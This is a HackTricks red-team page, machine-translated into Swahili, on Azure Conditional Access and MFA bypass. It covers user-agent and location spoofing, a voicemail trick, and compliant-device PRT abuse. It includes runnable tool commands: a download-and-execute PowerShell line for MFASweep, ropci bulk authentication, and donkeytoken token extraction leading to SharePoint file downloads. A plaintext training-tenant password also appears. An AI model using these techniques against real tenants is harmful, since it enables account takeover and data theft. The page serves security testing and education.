Az - Conditional Access Policies & MFA Bypass
Reading time: 9 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Azure Conditional Access policies ni sheria zilizowekwa katika Microsoft Azure ili kutekeleza udhibiti wa ufikiaji kwa huduma na programu za Azure kulingana na masharti fulani. Sera hizi zinasaidia mashirika kulinda rasilimali zao kwa kutumia udhibiti sahihi wa ufikiaji chini ya hali sahihi.
Sera za ufikiaji wa masharti k基本 zinaelezea Nani anaweza kufikia Nini kutoka Wapi na Jinsi.
Hapa kuna mifano kadhaa:
- Sera ya Hatari ya Kuingia: Sera hii inaweza kuwekwa ili kuhitaji uthibitisho wa hatua nyingi (MFA) wakati hatari ya kuingia inagundulika. Kwa mfano, ikiwa tabia ya kuingia ya mtumiaji ni ya ajabu ikilinganishwa na muundo wao wa kawaida, kama kuingia kutoka nchi tofauti, mfumo unaweza kuomba uthibitisho wa ziada.
- Sera ya Uzingatiaji wa Kifaa: Sera hii inaweza kuzuia ufikiaji wa huduma za Azure tu kwa vifaa ambavyo vinakidhi viwango vya usalama vya shirika. Kwa mfano, ufikiaji unaweza kuruhusiwa tu kutoka kwa vifaa ambavyo vina programu ya antivirus iliyo na sasisho au vinatumia toleo fulani la mfumo wa uendeshaji.
Enumeration
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Sera za Upatikanaji wa Masharti
Inawezekana kwamba sera ya upatikanaji wa masharti inaangalia taarifa fulani ambazo zinaweza kubadilishwa kwa urahisi kuruhusu kupita sera hiyo. Na ikiwa kwa mfano sera hiyo ilikuwa inakamilisha MFA, mshambuliaji ataweza kuipita.
Wakati wa kuunda sera ya upatikanaji wa masharti, ni muhimu kuashiria watumiaji walioathirika na rasilimali za lengo (kama programu zote za wingu).
Pia inahitajika kuunda masharti ambayo yatakuwa yanasababisha sera hiyo:
- Mtandao: Ip, anuwai za IP na maeneo ya kijiografia
- Inaweza kupitishwa kwa kutumia VPN au Proxy kuungana na nchi au kufanikiwa kuingia kutoka anwani ya IP iliyoidhinishwa
- Hatari za Microsoft: Hatari ya mtumiaji, Hatari ya kuingia, Hatari ya ndani
- Majukwaa ya vifaa: Kila kifaa au kuchagua Android, iOS, Windows phone, Windows, macOS, Linux
- Ikiwa “Kila kifaa” hakijachaguliwa lakini chaguo zingine zote zimechaguliwa, inawezekana kupita kwa kutumia user-agent wa nasibu usiokuwa na uhusiano na majukwaa hayo
- Programu za mteja: Chaguo ni “Kivinjari”, “Programu za simu na wateja wa desktop”, “Wateja wa Exchange ActiveSync” na “Wateja wengine”
- Ili kupita kuingia na chaguo kisichochaguliwa
- Chuja kwa vifaa: Inawezekana kuunda sheria inayohusiana na kifaa kilichotumika
- Mchakato wa uthibitishaji: Chaguo ni “Mchakato wa nambari ya kifaa” na “Uhamisho wa uthibitishaji”
- Hii haitamathirisha mshambuliaji isipokuwa anajaribu kutumia mojawapo ya protokali hizo katika jaribio la phishing kuingia kwenye akaunti ya mwathirika
Matokeo yanayoweza kutokea ni: Zuia au Ruhusu upatikanaji na masharti yanayoweza kama kuhitaji MFA, kifaa kuwa na ufanisi...
Majukwaa ya Vifaa - Masharti ya Kifaa
Inawezekana kuweka masharti kulingana na jukwaa la kifaa (Android, iOS, Windows, macOS...), hata hivyo, hii inategemea user-agent hivyo ni rahisi kupita. Hata kufanya chaguo zote zitekeleze MFA, ikiwa utatumia user-agent ambao haujafahamika, utaweza kupita MFA au kuzuia:
.png)
Kufanya kivinjari kitume user-agent usiojulikana (kama Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile
) inatosha kutosababisha masharti haya.
Unaweza kubadilisha user agent kwa mikono katika zana za maendeleo:
.png)
Au tumia nyongeza ya kivinjari kama hii.
Mikoa: Nchi, anuwai za IP - Masharti ya Kifaa
Ikiwa hii imewekwa katika sera ya masharti, mshambuliaji anaweza tu kutumia VPN katika nchi iliyoidhinishwa au kujaribu kupata njia ya kuingia kutoka anwani ya IP iliyoidhinishwa ili kupita masharti haya.
Programu za Wingu
Inawezekana kuunda sera za upatikanaji wa masharti kuzuia au kulazimisha kwa mfano MFA wakati mtumiaji anajaribu kufikia programu maalum:
.png)
Ili kujaribu kupita ulinzi huu unapaswa kuona ikiwa unaweza kuingia tu katika programu yoyote.
Zana AzureAppsSweep ina nambari za programu kumi za ndani na itajaribu kuingia ndani yao na kukujulisha na hata kukupa token ikiwa ni mafanikio.
Ili kujaribu nambari maalum za programu katika rasilimali maalum unaweza pia kutumia zana kama:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Zaidi ya hayo, inawezekana pia kulinda njia ya kuingia (kwa mfano, ikiwa unajaribu kuingia kutoka kwa kivinjari au kutoka kwa programu ya desktop). Zana Invoke-MFASweep inafanya baadhi ya ukaguzi ili kujaribu kupita ulinzi huu pia.
Zana donkeytoken inaweza pia kutumika kwa madhumuni sawa ingawa inaonekana haijatunzwa.
Zana ROPCI inaweza pia kutumika kujaribu ulinzi huu na kuona ikiwa inawezekana kupita MFAs au vizuizi, lakini zana hii inafanya kazi kutoka kwa mtazamo wa whitebox. Kwanza unahitaji kupakua orodha ya Programu zilizoruhusiwa katika mpangilio na kisha itajaribu kuingia ndani yao.
Mipango Mingine ya Kuondoa Az MFA
Kengele ya Simu
Chaguo moja la Azure MFA ni kupokea simu kwenye nambari ya simu iliyowekwa ambapo mtumiaji ataulizwa kutuma herufi #
.
caution
Kwa kuwa herufi ni tu sauti, mshambuliaji anaweza kuathiri ujumbe wa voicemail wa nambari ya simu, kuweka kama ujumbe sauti ya #
na kisha, wakati wa kuomba MFA hakikisha kwamba simu ya waathiriwa inatumika (ikiitafuta) ili simu ya Azure irejeleze kwenye voicemail.
Vifaa Vinavyokubalika
Sera mara nyingi zinauliza kifaa kinachokubalika au MFA, hivyo mshambuliaji anaweza kujiandikisha kifaa kinachokubalika, kupata token ya PRT na kupita njia hii MFA.
Anza kwa kujiandikisha kifaa kinachokubalika katika Intune, kisha pata PRT kwa:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Find more information about this kind of attack in the following page:
Tooling
AzureAppsSweep
Hii script inapata baadhi ya akidi za mtumiaji na kuangalia kama inaweza kuingia katika baadhi ya programu.
Hii ni muhimu kuona kama huhitajiki MFA kuingia katika baadhi ya programu ambazo unaweza baadaye kutumia vibaya ili kuinua haki.
roadrecon
Pata sera zote
roadrecon plugin policies
Invoke-MFASweep
MFASweep ni script ya PowerShell inayojaribu kuingia kwenye huduma mbalimbali za Microsoft kwa kutumia seti ya akauti zilizotolewa na itajaribu kubaini kama MFA imewezeshwa. Kulingana na jinsi sera za ufikiaji wa masharti na mipangilio mingine ya uthibitishaji wa hatua nyingi zilivyowekwa, baadhi ya itifaki zinaweza kuishia kuwa na hatua moja tu. Pia ina ukaguzi wa ziada kwa mipangilio ya ADFS na inaweza kujaribu kuingia kwenye seva ya ADFS ya ndani ikiwa itagundulika.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Chombo hiki kimeisaidia kubaini njia za kupita MFA na kisha kutumia APIs katika AAD tenants nyingi za uzalishaji, ambapo wateja wa AAD walidhani walikuwa na MFA iliyotekelezwa, lakini uthibitisho wa msingi wa ROPC ulifanikiwa.
tip
Unahitaji kuwa na ruhusa za kuorodhesha programu zote ili uweze kuunda orodha ya programu za kushambulia kwa nguvu.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token ni seti ya kazi ambazo zina lengo la kusaidia washauri wa usalama wanaohitaji kuthibitisha Sera za Ufikiaji wa Masharti, majaribio ya portali za Microsoft zilizo na 2FA, n.k.
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Jaribu kila portali ikiwa inawezekana kuingia bila MFA:
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Kwa sababu Azure portal haijakandamizwa, inawezekana kukusanya token kutoka kwa kiunganishi cha portal ili kufikia huduma yoyote iliyogunduliwa na utekelezaji wa awali. Katika kesi hii, Sharepoint ilitambuliwa, na token ya kuifikia inahitajika:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Ikiwa token ina ruhusa Sites.Read.All (kutoka Sharepoint), hata kama huwezi kufikia Sharepoint kutoka mtandao kwa sababu ya MFA, inawezekana kutumia token hiyo kufikia faili kwa kutumia token iliyozalishwa:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Marejeo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.